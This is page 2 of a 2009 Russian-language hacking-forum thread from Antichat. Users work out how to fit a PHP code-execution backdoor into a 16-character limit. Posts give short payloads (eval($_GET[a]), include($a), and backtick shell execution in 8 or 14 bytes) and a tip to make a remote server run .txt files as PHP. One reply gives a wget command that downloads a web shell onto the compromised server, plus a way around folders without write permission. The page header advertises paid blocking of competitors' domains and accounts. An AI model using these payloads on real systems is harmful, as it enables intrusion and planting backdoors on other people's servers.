16 символов :(

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
16 символов :(

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

08.07.2009, 21:19

Mr.Hardwar

Новичок

Регистрация: 20.09.2008

Сообщений: 3

С нами: 9283488

Репутация: 0

<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало

#12

09.07.2009, 07:23

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

С нами: 9154406

Репутация: 2221

Цитата:

Сообщение от Mr.Hardwar

<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало

http://mysite.ru/file.txt
По твоему запросу он инклюдит папку mysite.ru/file.txt а не удалённый сервер

#13

09.07.2009, 09:58

Mr.Hardwar

Новичок

Регистрация: 20.09.2008

Сообщений: 3

С нами: 9283488

Репутация: 0

c http результат тот же(
&a=http://mysite.ru/primer.php -выводится страница c Hacking attempt!

&a=http://mysite.ru/primer.txt -страница грузится но ничо не инклудится..пишется "Привет, !"

Последний раз редактировалось Mr.Hardwar; 09.07.2009 в 10:04..

#14

09.07.2009, 19:41

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

С нами: 9154406

Репутация: 2221

Инклюдить он заинклюдить
Ну вот может бред.
в .htacces

Цитата:

AddType application/x-httpd-php .txt

На своём серваке.

#15

09.07.2009, 19:55

BlackSun

Познавший АНТИЧАТ

Регистрация: 01.04.2007

Сообщений: 1,268

С нами: 10058786

Репутация: 4589

8 байт <? `$a`;
14 байт <? `$_GET[a]`;

#16

09.07.2009, 22:02

Ch3ck

Познавший АНТИЧАТ

Регистрация: 09.06.2006

Сообщений: 1,359

С нами: 10485026

Репутация: 1879

Цитата:

Сообщение от BlackSun

8 байт <? `$a`;
14 байт <? `$_GET[a]`;

Я тоже вчера пробовал... а дальше чего?

#17

09.07.2009, 22:11

BlackSun

Познавший АНТИЧАТ

Регистрация: 01.04.2007

Сообщений: 1,268

С нами: 10058786

Репутация: 4589

Цитата:

Сообщение от Ch3ck

Я тоже вчера пробовал... а дальше чего?

Что значит "а дальше чего"? Дальше сливаем wget'ом и ему подобными шелл, наслаждаемся.

?a=wget+http://google.com/shell.txt если уж совсем не понятно.

#18

20.07.2009, 06:18

.::BARS::.

Постоянный

Регистрация: 13.10.2007

Сообщений: 347

С нами: 9778359

Репутация: 115

хм.... а ничего если упапки нет прав на запись???? =))))

#19

20.07.2009, 07:13

BlackSun

Познавший АНТИЧАТ

Регистрация: 01.04.2007

Сообщений: 1,268

С нами: 10058786

Репутация: 4589

А тебя совершенно не волнует тот факт, что папок все же больше одной? --output-document=

Страница 2 из 2

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[php] Новичкам: задаем вопросы	_Great_	PHP	16396	17.06.2010 21:19
Вопросы по созданию Rainbow от 8 символов для MD5	Thanat0z	Криптография, расшифровка хешей	12	11.02.2007 04:12
Кому нужно перебрать до 9 символов - сюда!	hesher	Криптография, расшифровка хешей	177	27.09.2005 21:27

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход